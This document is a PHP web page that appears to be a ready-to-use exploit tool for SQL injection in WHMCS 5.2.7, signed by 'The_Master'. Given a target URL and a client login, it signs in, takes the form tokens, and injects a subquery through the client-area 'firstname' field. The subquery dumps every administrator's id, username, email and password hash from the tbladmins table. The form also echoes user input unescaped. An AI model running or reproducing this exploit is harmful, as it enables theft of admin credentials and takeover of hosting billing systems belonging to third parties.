Script WHMCS v5.2.7 Sql Injection

<html>
<head>
<title>Master WHMCS 5.2.7 SQL inJecTion</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>

  <style type='text/css'>
  body{
        margin: 0;
        padding:0;
        background:black;
        color:white;
        font-family:"Times New Roman",Georgia,Serif;
    }
    </style>
</head>
<body >
<center>

<h1> Master WHMCS 5.2.7 SQL inJecTion</h1>

<img src="http://www.whmcs.com/wp-content/themes/whmcs/images/logo_whmcs.png" /> <br /><br />
<?

if ($_POST['Submit1']){
echo "";
set_time_limit(0);
function cut($start,$end,$top){
$c =strlen($start);
$desc= strstr("$top","$start");
$count = strpos("$desc","$end");
$desc = substr($desc,$c,$count-$c);
return $desc;
}


$url= $_POST['user'];
$user= $_POST['email'];
$passw= $_POST['pass'];

$sqll= "SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins";

$fp = fopen("cookie.txt", "w+");
$Cookie = realpath('cookie.txt');

$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,"$url/login.php");
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl,CURLOPT_TIMEOUT,5);
$exec=curl_exec($curl);
curl_close($curl);
$tok = cut('"token" value="','" />',$exec);
$postd= "username=$user&password=$passw&token=$tok";
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,"$url/dologin.php");
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_POSTFIELDS, $postd);
curl_setopt($curl, CURLOPT_COOKIEJAR, "$Cookie");
curl_setopt($curl,CURLOPT_TIMEOUT,5);
$exez=curl_exec($curl);
curl_close($curl);

$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,"$url/clientarea.php?action=details");
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_COOKIEFILE, "$Cookie");
curl_setopt($curl,CURLOPT_TIMEOUT,5);
$exes=curl_exec($curl);
curl_close($curl);
$tokZ = cut('"token" value="','" />',$exes);


$zz= "AES_ENCRYPT(1,1), firstname= ($sqll)";

$ex="token=$tokZ&firstname=$zz&lastname=1&companyname=1&email=$user&paymentmethod=none&billingcid=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Changes";
$curl=curl_init();
curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl,CURLOPT_URL,"$url/clientarea.php?action=details");
curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:18.0) Gecko/20100101 Firefox/18.0');
curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_POST, TRUE);
curl_setopt($curl, CURLOPT_POSTFIELDS, $ex);
curl_setopt($curl, CURLOPT_COOKIEFILE, "$Cookie");
curl_setopt($curl,CURLOPT_TIMEOUT,5);
$exef=curl_exec($curl);
curl_close($curl);
$Masterr = cut('="firstname" value="','" />',$exef);

if(!empty($Masterr)){
$Masterr= str_replace (',','<br />',$Masterr);
echo "$Masterr";
}
else{
echo "<h2>Failed .. !!</h2>";
}


}
?>
<b>
<FORM NAME ="form1" METHOD ="POST" ACTION ="">

<br>
Site : <INPUT NAME = "user" style="width: 410px; " value="<? echo $_POST['user'];?>"><br><br>
mail : <INPUT NAME = "email" style="width: 410px; " value="<? echo $_POST['email'];?>"><br><br>
pass : <INPUT NAME = "pass" style="width: 410px; " value="<? echo $_POST['pass'];?>"><br><br>

<br> <INPUT TYPE = "Submit" Name = "Submit1" VALUE = "Expoit" style="width: 90px">

</FORM>
<p>Developped By The_Master</p>
<p>Th3.M4st3r@Yahoo.CoM</p>
<p>SEc4ever.CoM</p>
</b>

</div>
<center></body>
</html>